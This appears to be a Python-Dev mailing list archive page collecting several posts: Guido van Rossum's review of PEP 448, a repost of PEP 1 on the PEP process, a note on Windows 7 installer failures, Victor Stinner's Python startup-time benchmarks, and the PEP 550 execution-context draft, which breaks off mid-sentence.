Mailman 3 August 2017 - Python-Dev

PEP 448 review
by Guido van Rossum March 29, 2023

March 29, 2023

I'm back, I've re-read the PEP, and I've re-read the long thread with "(no subject)". I think Georg Brandl nailed it: """ *I like the "sequence and dict flattening" part of the PEP, mostly because itis consistent and should be easy to understand, but the comprehension syntaxenhancements seem to be bad for readability and "comprehending" what the codedoes.The call syntax part is a mixed bag on the one hand it is nice to be consistent with the extended possibilities in literals (flattening), but on the other hand there would be small but annoying inconsistencies anyways (e.g. the duplicate kwarg case above).* """ Greg Ewing followed up explaining that the inconsistency between dict flattening and call syntax is inherent in the pre-existing different rules for dicts vs. keyword args: {'a':1, 'a':2} results in {'a':2}, while f(a=1, a=2) is an error. (This form is a SyntaxError; the dynamic case f(a=1, **{'a': 1}) is a TypeError.) For me, allowing f(*a, *b) and f(**d, **e) and all the other combinations for function calls proposed by the PEP is an easy +1 -- it's a straightforward extension of the existing pattern, and anybody who knows what f(x, *a) does will understand f(x, *a, y, *b). Guessing what f(**d, **e) means shouldn't be hard either. Understanding the edge case for duplicate keys with f(**d, **e) is a little harder, but the error messages are pretty clear, and it is not a new edge case. The sequence and dict flattening syntax proposals are also clean and logical -- we already have *-unpacking on the receiving side, so allowing *x in tuple expressions reads pretty naturally (and the similarity with *a in argument lists certainly helps). From here, having [a, *x, b, *y] is also natural, and then the extension to other displays is natural: {a, *x, b, *y} and {a:1, **d, b:2, **e}. This, too, gets a +1 from me. So that leaves comprehensions. IIRC, during the development of the patch we realized that f(*x for x in xs) is sufficiently ambiguous that we decided to disallow it -- note that f(x for x in xs) is already somewhat of a special case because an argument can only be a "bare" generator expression if it is the only argument. The same reasoning doesn't apply (in that form) to list, set and dict comprehensions -- while f(x for x in xs) is identical in meaning to f((x for x in xs)), [x for x in xs] is NOT the same as [(x for x in xs)] (that's a list of one element, and the element is a generator expression). The basic premise of this part of the proposal is that if you have a few iterables, the new proposal (without comprehensions) lets you create a list or generator expression that iterates over all of them, essentially flattening them: >>> xs = [1, 2, 3] >>> ys = ['abc', 'def'] >>> zs = [99] >>> [*xs, *ys, *zs] [1, 2, 3, 'abc', 'def', 99] >>> But now suppose you have a list of iterables: >>> xss = [[1, 2, 3], ['abc', 'def'], [99]] >>> [*xss[0], *xss[1], *xss[2]] [1, 2, 3, 'abc', 'def', 99] >>> Wouldn't it be nice if you could write the latter using a comprehension? >>> xss = [[1, 2, 3], ['abc', 'def'], [99]] >>> [*xs for xs in xss] [1, 2, 3, 'abc', 'def', 99] >>> This is somewhat seductive, and the following is even nicer: the *xs position may be an expression, e.g.: >>> xss = [[1, 2, 3], ['abc', 'def'], [99]] >>> [*xs[:2] for xs in xss] [1, 2, 'abc', 'def', 99] >>> On the other hand, I had to explore the possibilities here by experimenting in the interpreter, and I discovered some odd edge cases (e.g. you can parenthesize the starred expression, but that seems a syntactic accident). All in all I am personally +0 on the comprehension part of the PEP, and I like that it provides a way to "flatten" a sequence of sequences, but I think very few people in the thread have supported this part. Therefore I would like to ask Neil to update the PEP and the patch to take out the comprehension part, so that the two "easy wins" can make it into Python 3.5 (basically, I am accepting two-thirds of the PEP :-). There is some time yet until alpha 2. I would also like code reviewers (Benjamin?) to start reviewing the patch <http://bugs.python.org/issue2292>, taking into account that the comprehension part needs to be removed. -- --Guido van Rossum (python.org/~guido)

7 17

PEP 1, PEP Purpose and Guidelines
by barry＠zope.com May 18, 2021

May 18, 2021

It has been a while since I posted a copy of PEP 1 to the mailing lists and newsgroups. I've recently done some updating of a few sections, so in the interest of gaining wider community participation in the Python development process, I'm posting the latest revision of PEP 1 here. A version of the PEP is always available on-line at http://www.python.org/peps/pep-0001.html Enjoy, -Barry -------------------- snip snip -------------------- PEP: 1 Title: PEP Purpose and Guidelines Version: $Revision: 1.36 $ Last-Modified: $Date: 2002/07/29 18:34:59 $ Author: Barry A. Warsaw, Jeremy Hylton Status: Active Type: Informational Created: 13-Jun-2000 Post-History: 21-Mar-2001, 29-Jul-2002 What is a PEP? PEP stands for Python Enhancement Proposal. A PEP is a design document providing information to the Python community, or describing a new feature for Python. The PEP should provide a concise technical specification of the feature and a rationale for the feature. We intend PEPs to be the primary mechanisms for proposing new features, for collecting community input on an issue, and for documenting the design decisions that have gone into Python. The PEP author is responsible for building consensus within the community and documenting dissenting opinions. Because the PEPs are maintained as plain text files under CVS control, their revision history is the historical record of the feature proposal[1]. Kinds of PEPs There are two kinds of PEPs. A standards track PEP describes a new feature or implementation for Python. An informational PEP describes a Python design issue, or provides general guidelines or information to the Python community, but does not propose a new feature. Informational PEPs do not necessarily represent a Python community consensus or recommendation, so users and implementors are free to ignore informational PEPs or follow their advice. PEP Work Flow The PEP editor, Barry Warsaw <peps(a)python.org>, assigns numbers for each PEP and changes its status. The PEP process begins with a new idea for Python. It is highly recommended that a single PEP contain a single key proposal or new idea. The more focussed the PEP, the more successfully it tends to be. The PEP editor reserves the right to reject PEP proposals if they appear too unfocussed or too broad. If in doubt, split your PEP into several well-focussed ones. Each PEP must have a champion -- someone who writes the PEP using the style and format described below, shepherds the discussions in the appropriate forums, and attempts to build community consensus around the idea. The PEP champion (a.k.a. Author) should first attempt to ascertain whether the idea is PEP-able. Small enhancements or patches often don't need a PEP and can be injected into the Python development work flow with a patch submission to the SourceForge patch manager[2] or feature request tracker[3]. The PEP champion then emails the PEP editor <peps(a)python.org> with a proposed title and a rough, but fleshed out, draft of the PEP. This draft must be written in PEP style as described below. If the PEP editor approves, he will assign the PEP a number, label it as standards track or informational, give it status 'draft', and create and check-in the initial draft of the PEP. The PEP editor will not unreasonably deny a PEP. Reasons for denying PEP status include duplication of effort, being technically unsound, not providing proper motivation or addressing backwards compatibility, or not in keeping with the Python philosophy. The BDFL (Benevolent Dictator for Life, Guido van Rossum) can be consulted during the approval phase, and is the final arbitrator of the draft's PEP-ability. If a pre-PEP is rejected, the author may elect to take the pre-PEP to the comp.lang.python newsgroup (a.k.a. python-list(a)python.org mailing list) to help flesh it out, gain feedback and consensus from the community at large, and improve the PEP for re-submission. The author of the PEP is then responsible for posting the PEP to the community forums, and marshaling community support for it. As updates are necessary, the PEP author can check in new versions if they have CVS commit permissions, or can email new PEP versions to the PEP editor for committing. Standards track PEPs consists of two parts, a design document and a reference implementation. The PEP should be reviewed and accepted before a reference implementation is begun, unless a reference implementation will aid people in studying the PEP. Standards Track PEPs must include an implementation - in the form of code, patch, or URL to same - before it can be considered Final. PEP authors are responsible for collecting community feedback on a PEP before submitting it for review. A PEP that has not been discussed on python-list(a)python.org and/or python-dev(a)python.org will not be accepted. However, wherever possible, long open-ended discussions on public mailing lists should be avoided. Strategies to keep the discussions efficient include, setting up a separate SIG mailing list for the topic, having the PEP author accept private comments in the early design phases, etc. PEP authors should use their discretion here. Once the authors have completed a PEP, they must inform the PEP editor that it is ready for review. PEPs are reviewed by the BDFL and his chosen consultants, who may accept or reject a PEP or send it back to the author(s) for revision. Once a PEP has been accepted, the reference implementation must be completed. When the reference implementation is complete and accepted by the BDFL, the status will be changed to `Final.' A PEP can also be assigned status `Deferred.' The PEP author or editor can assign the PEP this status when no progress is being made on the PEP. Once a PEP is deferred, the PEP editor can re-assign it to draft status. A PEP can also be `Rejected'. Perhaps after all is said and done it was not a good idea. It is still important to have a record of this fact. PEPs can also be replaced by a different PEP, rendering the original obsolete. This is intended for Informational PEPs, where version 2 of an API can replace version 1. PEP work flow is as follows: Draft -> Accepted -> Final -> Replaced ^ +----> Rejected v Deferred Some informational PEPs may also have a status of `Active' if they are never meant to be completed. E.g. PEP 1. What belongs in a successful PEP? Each PEP should have the following parts: 1. Preamble -- RFC822 style headers containing meta-data about the PEP, including the PEP number, a short descriptive title (limited to a maximum of 44 characters), the names, and optionally the contact info for each author, etc. 2. Abstract -- a short (~200 word) description of the technical issue being addressed. 3. Copyright/public domain -- Each PEP must either be explicitly labelled as placed in the public domain (see this PEP as an example) or licensed under the Open Publication License[4]. 4. Specification -- The technical specification should describe the syntax and semantics of any new language feature. The specification should be detailed enough to allow competing, interoperable implementations for any of the current Python platforms (CPython, JPython, Python .NET). 5. Motivation -- The motivation is critical for PEPs that want to change the Python language. It should clearly explain why the existing language specification is inadequate to address the problem that the PEP solves. PEP submissions without sufficient motivation may be rejected outright. 6. Rationale -- The rationale fleshes out the specification by describing what motivated the design and why particular design decisions were made. It should describe alternate designs that were considered and related work, e.g. how the feature is supported in other languages. The rationale should provide evidence of consensus within the community and discuss important objections or concerns raised during discussion. 7. Backwards Compatibility -- All PEPs that introduce backwards incompatibilities must include a section describing these incompatibilities and their severity. The PEP must explain how the author proposes to deal with these incompatibilities. PEP submissions without a sufficient backwards compatibility treatise may be rejected outright. 8. Reference Implementation -- The reference implementation must be completed before any PEP is given status 'Final,' but it need not be completed before the PEP is accepted. It is better to finish the specification and rationale first and reach consensus on it before writing code. The final implementation must include test code and documentation appropriate for either the Python language reference or the standard library reference. PEP Template PEPs are written in plain ASCII text, and should adhere to a rigid style. There is a Python script that parses this style and converts the plain text PEP to HTML for viewing on the web[5]. PEP 9 contains a boilerplate[7] template you can use to get started writing your PEP. Each PEP must begin with an RFC822 style header preamble. The headers must appear in the following order. Headers marked with `*' are optional and are described below. All other headers are required. PEP: <pep number> Title: <pep title> Version: <cvs version string> Last-Modified: <cvs date string> Author: <list of authors' real names and optionally, email addrs> * Discussions-To: <email address> Status: <Draft | Active | Accepted | Deferred | Final | Replaced> Type: <Informational | Standards Track> * Requires: <pep numbers> Created: <date created on, in dd-mmm-yyyy format> * Python-Version: <version number> Post-History: <dates of postings to python-list and python-dev> * Replaces: <pep number> * Replaced-By: <pep number> The Author: header lists the names and optionally, the email addresses of all the authors/owners of the PEP. The format of the author entry should be address(a)dom.ain (Random J. User) if the email address is included, and just Random J. User if the address is not given. If there are multiple authors, each should be on a separate line following RFC 822 continuation line conventions. Note that personal email addresses in PEPs will be obscured as a defense against spam harvesters. Standards track PEPs must have a Python-Version: header which indicates the version of Python that the feature will be released with. Informational PEPs do not need a Python-Version: header. While a PEP is in private discussions (usually during the initial Draft phase), a Discussions-To: header will indicate the mailing list or URL where the PEP is being discussed. No Discussions-To: header is necessary if the PEP is being discussed privately with the author, or on the python-list or python-dev email mailing lists. Note that email addresses in the Discussions-To: header will not be obscured. Created: records the date that the PEP was assigned a number, while Post-History: is used to record the dates of when new versions of the PEP are posted to python-list and/or python-dev. Both headers should be in dd-mmm-yyyy format, e.g. 14-Aug-2001. PEPs may have a Requires: header, indicating the PEP numbers that this PEP depends on. PEPs may also have a Replaced-By: header indicating that a PEP has been rendered obsolete by a later document; the value is the number of the PEP that replaces the current document. The newer PEP must have a Replaces: header containing the number of the PEP that it rendered obsolete. PEP Formatting Requirements PEP headings must begin in column zero and the initial letter of each word must be capitalized as in book titles. Acronyms should be in all capitals. The body of each section must be indented 4 spaces. Code samples inside body sections should be indented a further 4 spaces, and other indentation can be used as required to make the text readable. You must use two blank lines between the last line of a section's body and the next section heading. You must adhere to the Emacs convention of adding two spaces at the end of every sentence. You should fill your paragraphs to column 70, but under no circumstances should your lines extend past column 79. If your code samples spill over column 79, you should rewrite them. Tab characters must never appear in the document at all. A PEP should include the standard Emacs stanza included by example at the bottom of this PEP. A PEP must contain a Copyright section, and it is strongly recommended to put the PEP in the public domain. When referencing an external web page in the body of a PEP, you should include the title of the page in the text, with a footnote reference to the URL. Do not include the URL in the body text of the PEP. E.g. Refer to the Python Language web site [1] for more details. ... [1] http://www.python.org When referring to another PEP, include the PEP number in the body text, such as "PEP 1". The title may optionally appear. Add a footnote reference that includes the PEP's title and author. It may optionally include the explicit URL on a separate line, but only in the References section. Note that the pep2html.py script will calculate URLs automatically, e.g.: ... Refer to PEP 1 [7] for more information about PEP style ... References [7] PEP 1, PEP Purpose and Guidelines, Warsaw, Hylton http://www.python.org/peps/pep-0001.html If you decide to provide an explicit URL for a PEP, please use this as the URL template: http://www.python.org/peps/pep-xxxx.html PEP numbers in URLs must be padded with zeros from the left, so as to be exactly 4 characters wide, however PEP numbers in text are never padded. Reporting PEP Bugs, or Submitting PEP Updates How you report a bug, or submit a PEP update depends on several factors, such as the maturity of the PEP, the preferences of the PEP author, and the nature of your comments. For the early draft stages of the PEP, it's probably best to send your comments and changes directly to the PEP author. For more mature, or finished PEPs you may want to submit corrections to the SourceForge bug manager[6] or better yet, the SourceForge patch manager[2] so that your changes don't get lost. If the PEP author is a SF developer, assign the bug/patch to him, otherwise assign it to the PEP editor. When in doubt about where to send your changes, please check first with the PEP author and/or PEP editor. PEP authors who are also SF committers, can update the PEPs themselves by using "cvs commit" to commit their changes. Remember to also push the formatted PEP text out to the web by doing the following: % python pep2html.py -i NUM where NUM is the number of the PEP you want to push out. See % python pep2html.py --help for details. Transferring PEP Ownership It occasionally becomes necessary to transfer ownership of PEPs to a new champion. In general, we'd like to retain the original author as a co-author of the transferred PEP, but that's really up to the original author. A good reason to transfer ownership is because the original author no longer has the time or interest in updating it or following through with the PEP process, or has fallen off the face of the 'net (i.e. is unreachable or not responding to email). A bad reason to transfer ownership is because you don't agree with the direction of the PEP. We try to build consensus around a PEP, but if that's not possible, you can always submit a competing PEP. If you are interested assuming ownership of a PEP, send a message asking to take over, addressed to both the original author and the PEP editor <peps(a)python.org>. If the original author doesn't respond to email in a timely manner, the PEP editor will make a unilateral decision (it's not like such decisions can be reversed. :). References and Footnotes [1] This historical record is available by the normal CVS commands for retrieving older revisions. For those without direct access to the CVS tree, you can browse the current and past PEP revisions via the SourceForge web site at http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/python/nondist/peps/?cvsroot=… [2] http://sourceforge.net/tracker/?group_id=5470&atid=305470 [3] http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse [4] http://www.opencontent.org/openpub/ [5] The script referred to here is pep2html.py, which lives in the same directory in the CVS tree as the PEPs themselves. Try "pep2html.py --help" for details. The URL for viewing PEPs on the web is http://www.python.org/peps/ [6] http://sourceforge.net/tracker/?group_id=5470&atid=305470 [7] PEP 9, Sample PEP Template http://www.python.org/peps/pep-0009.html Copyright This document has been placed in the public domain. Local Variables: mode: indented-text indent-tabs-mode: nil sentence-end-double-space: t fill-column: 70 End:

8 14

congrats on 3.5! Alas, windows 7 users are having problems installing it
by Laura Creighton Sept. 15, 2019

Sept. 15, 2019

webmaster has already heard from 4 people who cannot install it. I sent them to the bug tracker or to python-list but they seem not to have gone either place. Is there some guide I should be sending them to, 'how to debug installation problems'? Laura

5 6

Python startup time
by Victor Stinner Oct. 10, 2018

Oct. 10, 2018

Hi, On Twitter, Raymond Hettinger wrote: "The decision making process on Python-dev is an anti-pattern, governed by anecdotal data and ambiguity over what problem is solved." https://twitter.com/raymondh/status/887069454693158912 About "anecdotal data", I would like to discuss the Python startup time. == Python 3.7 compared to 2.7 == First of all, on speed.python.org, we have: * Python 2.7: 6.4 ms with site, 3.0 ms without site (-S) * master (3.7): 14.5 ms with site, 8.4 ms without site (-S) Python 3.7 startup time is 2.3x slower with site (default mode), or 2.8x slower without site (-S command line option). (I will skip Python 3.4, 3.5 and 3.6 which are much worse than Python 3.7...) So if an user complained about Python 2.7 startup time: be prepared for a 2x - 3x more angry user when "forced" to upgrade to Python 3! == Mercurial vs Git, Python vs C, startup time == Startup time matters a lot for Mercurial since Mercurial is compared to Git. Git and Mercurial have similar features, but Git is written in C whereas Mercurial is written in Python. Quick benchmark on the speed.python.org server: * hg version: 44.6 ms +- 0.2 ms * git --version: 974 us +- 7 us Mercurial startup time is already 45.8x slower than Git whereas tested Mercurial runs on Python 2.7.12. Now try to sell Python 3 to Mercurial developers, with a startup time 2x - 3x slower... I tested Mecurial 3.7.3 and Git 2.7.4 on Ubuntu 16.04.1 using "python3 -m perf command -- ...". == CPython core developers don't care? no, they do care == Christian Heimes, Naoki INADA, Serhiy Storchaka, Yury Selivanov, me (Victor Stinner) and other core developers made multiple changes last years to reduce the number of imports at startup, optimize impotlib, etc. IHMO all these core developers are well aware of the competition of programming languages, and honesty Python startup time isn't "good". So let's compare it to other programming languages similar to Python. == PHP, Ruby, Perl == I measured the startup time of other programming languages which are similar to Python, still on the speed.python.org server using "python3 -m perf command -- ...": * perl -e ' ': 1.18 ms +- 0.01 ms * php -r ' ': 8.57 ms +- 0.05 ms * ruby -e ' ': 32.8 ms +- 0.1 ms Wow, Perl is quite good! PHP seems as good as Python 2 (but Python 3 is worse). Ruby startup time seems less optimized than other languages. Tested versions: * perl 5, version 22, subversion 1 (v5.22.1) * PHP 7.0.18-0ubuntu0.16.04.1 (cli) ( NTS ) * ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu] == Quick Google search == I also searched for "python startup time" and "python slow startup time" on Google and found many articles. Some examples: "Reducing the Python startup time" http://www.draketo.de/book/export/html/498 => "The python startup time always nagged me (17-30ms) and I just searched again for a way to reduce it, when I found this: The Python-Launcher caches GTK imports and forks new processes to reduce the startup time of python GUI programs." https://nelsonslog.wordpress.com/2013/04/08/python-startup-time/ => "Wow, Python startup time is worse than I thought." "How to speed up python starting up and/or reduce file search while loading libraries?" https://stackoverflow.com/questions/15474160/how-to-speed-up-python-startin… => "The first time I log to the system and start one command it takes 6 seconds just to show a few line of help. If I immediately issue the same command again it takes 0.1s. After a couple of minutes it gets back to 6s. (proof of short-lived cache)" "How does one optimise the startup of a Python script/program?" https://www.quora.com/How-does-one-optimise-the-startup-of-a-Python-script-… => "I wrote a Python program that would be used very often (imagine 'cd' or 'ls') for very short runtimes, how would I make it start up as fast as possible?" "Python Interpreter Startup time" https://bytes.com/topic/python/answers/34469-pyhton-interpreter-startup-time "Python is very slow to start on Windows 7" https://stackoverflow.com/questions/29997274/python-is-very-slow-to-start-o… => "Python takes 17 times longer to load on my Windows 7 machine than Ubuntu 14.04 running on a VM" => "returns in 0.614s on Windows and 0.036s on Linux" "How to make a fast command line tool in Python" (old article Python 2.5.2) https://files.bemusement.org/talks/OSDC2008-FastPython/ => "(...) some techniques Bazaar uses to start quickly, such as lazy imports." -- So please continue efforts for make Python startup even faster to beat all other programming languages, and finally convince Mercurial to upgrade ;-) Victor

42 96

PEP 550 v4
by Yury Selivanov Sept. 8, 2017

Sept. 8, 2017

Hi, This is the 4th iteration of the PEP that Elvis and I have rewritten from scratch. The specification section has been separated from the implementation section, which makes them easier to follow. During the rewrite, we realized that generators and coroutines should work with the EC in exactly the same way (coroutines used to be created with no LC in prior versions of the PEP). We also renamed Context Keys to Context Variables which seems to be a more appropriate name. Hopefully this update will resolve the remaining questions about the specification and the proposed implementation, and will allow us to focus on refining the API. Yury PEP: 550 Title: Execution Context Version: $Revision$ Last-Modified: $Date$ Author: Yury Selivanov <yury(a)magic.io>, Elvis Pranskevichus <elvis(a)magic.io> Status: Draft Type: Standards Track Content-Type: text/x-rst Created: 11-Aug-2017 Python-Version: 3.7 Post-History: 11-Aug-2017, 15-Aug-2017, 18-Aug-2017, 25-Aug-2017 Abstract ======== This PEP adds a new generic mechanism of ensuring consistent access to non-local state in the context of out-of-order execution, such as in Python generators and coroutines. Thread-local storage, such as ``threading.local()``, is inadequate for programs that execute concurrently in the same OS thread. This PEP proposes a solution to this problem. Rationale ========= Prior to the advent of asynchronous programming in Python, programs used OS threads to achieve concurrency. The need for thread-specific state was solved by ``threading.local()`` and its C-API equivalent, ``PyThreadState_GetDict()``. A few examples of where Thread-local storage (TLS) is commonly relied upon: * Context managers like decimal contexts, ``numpy.errstate``, and ``warnings.catch_warnings``. * Request-related data, such as security tokens and request data in web applications, language context for ``gettext`` etc. * Profiling, tracing, and logging in large code bases. Unfortunately, TLS does not work well for programs which execute concurrently in a single thread. A Python generator is the simplest example of a concurrent program. Consider the following:: def fractions(precision, x, y): with decimal.localcontext() as ctx: ctx.prec = precision yield Decimal(x) / Decimal(y) yield Decimal(x) / Decimal(y**2) g1 = fractions(precision=2, x=1, y=3) g2 = fractions(precision=6, x=2, y=3) items = list(zip(g1, g2)) The expected value of ``items`` is:: [(Decimal('0.33'), Decimal('0.666667')), (Decimal('0.11'), Decimal('0.222222'))] Rather surprisingly, the actual result is:: [(Decimal('0.33'), Decimal('0.666667')), (Decimal('0.111111'), Decimal('0.222222'))] This is because Decimal context is stored as a thread-local, so concurrent iteration of the ``fractions()`` generator would corrupt the state. A similar problem exists with coroutines. Applications also often need to associate certain data with a given thread of execution. For example, a web application server commonly needs access to the current HTTP request object. The inadequacy of TLS in asynchronous code has lead to the proliferation of ad-hoc solutions, which are limited in scope and do not support all required use cases. The current status quo is that any library (including the standard library), which relies on TLS, is likely to be broken when used in asynchronous code or with generators (see [3]_ as an example issue.) Some languages, that support coroutines or generators, recommend passing the context manually as an argument to every function, see [1]_ for an example. This approach, however, has limited use for Python, where there is a large ecosystem that was built to work with a TLS-like context. Furthermore, libraries like ``decimal`` or ``numpy`` rely on context implicitly in overloaded operator implementations. The .NET runtime, which has support for async/await, has a generic solution for this problem, called ``ExecutionContext`` (see [2]_). Goals ===== The goal of this PEP is to provide a more reliable ``threading.local()`` alternative, which: * provides the mechanism and the API to fix non-local state issues with coroutines and generators; * has no or negligible performance impact on the existing code or the code that will be using the new mechanism, including libraries like ``decimal`` and ``numpy``. High-Level Specification ======================== The full specification of this PEP is broken down into three parts: * High-Level Specification (this section): the description of the overall solution. We show how it applies to generators and coroutines in user code, without delving into implementation details. * Detailed Specification: the complete description of new concepts, APIs, and related changes to the standard library. * Implementation Details: the description and analysis of data structures and algorithms used to implement this PEP, as well as the necessary changes to CPython. For the purpose of this section, we define *execution context* as an opaque container of non-local state that allows consistent access to its contents in the concurrent execution environment. A *context variable* is an object representing a value in the execution context. A new context variable is created by calling the ``new_context_var()`` function. A context variable object has two methods: * ``lookup()``: returns the value of the variable in the current execution context; * ``set()``: sets the value of the variable in the current execution context. Regular Single-threaded Code ---------------------------- In regular, single-threaded code that doesn't involve generators or coroutines, context variables behave like globals:: var = new_context_var() def sub(): assert var.lookup() == 'main' var.set('sub') def main(): var.set('main') sub() assert var.lookup() == 'sub' Multithreaded Code ------------------ In multithreaded code, context variables behave like thread locals:: var = new_context_var() def sub(): assert var.lookup() is None # The execution context is empty # for each new thread. var.set('sub') def main(): var.set('main') thread = threading.Thread(target=sub) thread.start() thread.join() assert var.lookup() == 'main' Generators ---------- In generators, changes to context variables are local and are not visible to the caller, but are visible to the code called by the generator. Once set in the generator, the context variable is guaranteed not to change between iterations:: var = new_context_var() def gen(): var.set('gen') assert var.lookup() == 'gen' yield 1 assert var.lookup() == 'gen' yield 2 def main(): var.set('main') g = gen() next(g) assert var.lookup() == 'main' var.set('main modified') next(g) assert var.lookup() == 'main modified' Changes to caller's context variables are visible to the generator (unless they were also modified inside the generator):: var = new_context_var() def gen(): assert var.lookup() == 'var' yield 1 assert var.lookup() == 'var modified' yield 2 def main(): g = gen() var.set('var') next(g) var.set('var modified') next(g) Now, let's revisit the decimal precision example from the `Rationale`_ section, and see how the execution context can improve the situation:: import decimal decimal_prec = new_context_var() # create a new context variable # Pre-PEP 550 Decimal relies on TLS for its context. # This subclass switches the decimal context storage # to the execution context for illustration purposes. # class MyDecimal(decimal.Decimal): def __init__(self, value="0"): prec = decimal_prec.lookup() if prec is None: raise ValueError('could not find decimal precision') context = decimal.Context(prec=prec) super().__init__(value, context=context) def fractions(precision, x, y): # Normally, this would be set by a context manager, # but for simplicity we do this directly. decimal_prec.set(precision) yield MyDecimal(x) / MyDecimal(y) yield MyDecimal(x) / MyDecimal(y**2) g1 = fractions(precision=2, x=1, y=3) g2 = fractions(precision=6, x=2, y=3) items = list(zip(g1, g2)) The value of ``items`` is:: [(Decimal('0.33'), Decimal('0.666667')), (Decimal('0.11'), Decimal('0.222222'))] which matches the expected result. Coroutines and Asynchronous Tasks --------------------------------- In coroutines, like in generators, context variable changes are local and are not visible to the caller:: import asyncio var = new_context_var() async def sub(): assert var.lookup() == 'main' var.set('sub') assert var.lookup() == 'sub' async def main(): var.set('main') await sub() assert var.lookup() == 'main' loop = asyncio.get_event_loop() loop.run_until_complete(main()) To establish the full semantics of execution context in couroutines, we must also consider *tasks*. A task is the abstraction used by *asyncio*, and other similar libraries, to manage the concurrent execution of coroutines. In the example above, a task is created implicitly by the ``run_until_complete()`` function. ``asyncio.wait_for()`` is another example of implicit task creation:: async def sub(): await asyncio.sleep(1) assert var.lookup() == 'main' async def main(): var.set('main') # waiting for sub() directly await sub() # waiting for sub() with a timeout await asyncio.wait_for(sub(), timeout=2) var.set('main changed') Intuitively, we expect the assertion in ``sub()`` to hold true in both invocations, even though the ``wait_for()`` implementation actually spawns a task, which runs ``sub()`` concurrently with ``main()``. Thus, tasks **must** capture a snapshot of the current execution context at the moment of their creation and use it to execute the wrapped coroutine whenever that happens. If this is not done, then innocuous looking changes like wrapping a coroutine in a ``wait_for()`` call would cause surprising breakage. This leads to the following:: import asyncio var = new_context_var() async def sub(): # Sleeping will make sub() run after # `var` is modified in main(). await asyncio.sleep(1) assert var.lookup() == 'main' async def main(): var.set('main') loop.create_task(sub()) # schedules asynchronous execution # of sub(). assert var.lookup() == 'main' var.set('main changed') loop = asyncio.get_event_loop() loop.run_until_complete(main()) In the above code we show how ``sub()``, running in a separate task, sees the value of ``var`` as it was when ``loop.create_task(sub())`` was called. Like tasks, the intuitive behaviour of callbacks scheduled with either ``Loop.call_soon()``, ``Loop.call_later()``, or ``Future.add_done_callback()`` is to also capture a snapshot of the current execution context at the point of scheduling, and use it to run the callback:: current_request = new_context_var() def log_error(e): logging.error('error when handling request %r', current_request.lookup()) async def render_response(): ... async def handle_get_request(request): current_request.set(request) try: return await render_response() except Exception as e: get_event_loop().call_soon(log_error, e) return '500 - Internal Server Error' Detailed Specification ====================== Conceptually, an *execution context* (EC) is a stack of logical contexts. There is one EC per Python thread. A *logical context* (LC) is a mapping of context variables to their values in that particular LC. A *context variable* is an object representing a value in the execution context. A new context variable object is created by calling the ``sys.new_context_var(name: str)`` function. The value of the ``name`` argument is not used by the EC machinery, but may be used for debugging and introspection. The context variable object has the following methods and attributes: * ``name``: the value passed to ``new_context_var()``. * ``lookup()``: traverses the execution context top-to-bottom, until the variable value is found. Returns ``None``, if the variable is not present in the execution context; * ``set()``: sets the value of the variable in the topmost logical context. Generators ---------- When created, each generator object has an empty logical context object stored in its ``__logical_context__`` attribute. This logical context is pushed onto the execution context at the beginning of each generator iteration and popped at the end:: var1 = sys.new_context_var('var1') var2 = sys.new_context_var('var2') def gen(): var1.set('var1-gen') var2.set('var2-gen') # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen', var2: 'var2-gen'}) # ] n = nested_gen() # nested_gen_LC is created next(n) # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen', var2: 'var2-gen'}) # ] var1.set('var1-gen-mod') var2.set('var2-gen-mod') # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen-mod', var2: 'var2-gen-mod'}) # ] next(n) def nested_gen(): # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen', var2: 'var2-gen'}), # nested_gen_LC() # ] assert var1.lookup() == 'var1-gen' assert var2.lookup() == 'var2-gen' var1.set('var1-nested-gen') # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen', var2: 'var2-gen'}), # nested_gen_LC({var1: 'var1-nested-gen'}) # ] yield # EC = [ # outer_LC(), # gen_LC({var1: 'var1-gen-mod', var2: 'var2-gen-mod'}), # nested_gen_LC({var1: 'var1-nested-gen'}) # ] assert var1.lookup() == 'var1-nested-gen' assert var2.lookup() == 'var2-gen-mod' yield # EC = [outer_LC()] g = gen() # gen_LC is created for the generator object `g` list(g) # EC = [outer_LC()] The snippet above shows the state of the execution context stack throughout the generator lifespan. contextlib.contextmanager ------------------------- Earlier, we've used the following example:: import decimal # create a new context variable decimal_prec = sys.new_context_var('decimal_prec') # ... def fractions(precision, x, y): decimal_prec.set(precision) yield MyDecimal(x) / MyDecimal(y) yield MyDecimal(x) / MyDecimal(y**2) Let's extend it by adding a context manager:: @contextlib.contextmanager def precision_context(prec): old_rec = decimal_prec.lookup() try: decimal_prec.set(prec) yield finally: decimal_prec.set(old_prec) Unfortunately, this would not work straight away, as the modification to the ``decimal_prec`` variable is contained to the ``precision_context()`` generator, and therefore will not be visible inside the ``with`` block:: def fractions(precision, x, y): # EC = [{}, {}] with precision_context(precision): # EC becomes [{}, {}, {decimal_prec: precision}] in the # *precision_context()* generator, # but here the EC is still [{}, {}] # raises ValueError('could not find decimal precision')! yield MyDecimal(x) / MyDecimal(y) yield MyDecimal(x) / MyDecimal(y**2) The way to fix this is to set the generator's ``__logical_context__`` attribute to ``None``. This will cause the generator to avoid modifying the execution context stack. We modify the ``contextlib.contextmanager()`` decorator to set ``genobj.__logical_context__`` to ``None`` to produce well-behaved context managers:: def fractions(precision, x, y): # EC = [{}, {}] with precision_context(precision): # EC = [{}, {decimal_prec: precision}] yield MyDecimal(x) / MyDecimal(y) yield MyDecimal(x) / MyDecimal(y**2) # EC becomes [{}, {decimal_prec: None}] asyncio ------- ``asyncio`` uses ``Loop.call_soon``, ``Loop.call_later``, and ``Loop.call_at`` to schedule the asynchronous execution of a function. ``asyncio.Task`` uses ``call_soon()`` to further the execution of the wrapped coroutine. We modify ``Loop.call_{at,later,soon}`` to accept the new optional *execution_context* keyword argument, which defaults to the copy of the current execution context:: def call_soon(self, callback, *args, execution_context=None): if execution_context is None: execution_context = sys.get_execution_context() # ... some time later sys.run_with_execution_context( execution_context, callback, args) The ``sys.get_execution_context()`` function returns a shallow copy of the current execution context. By shallow copy here we mean such a new execution context that: * lookups in the copy provide the same results as in the original execution context, and * any changes in the original execution context do not affect the copy, and * any changes to the copy do not affect the original execution context. Either of the following satisfy the copy requirements: * a new stack with shallow copies of logical contexts; * a new stack with one squashed logical context. The ``sys.run_with_execution_context(ec, func, *args, **kwargs)`` function 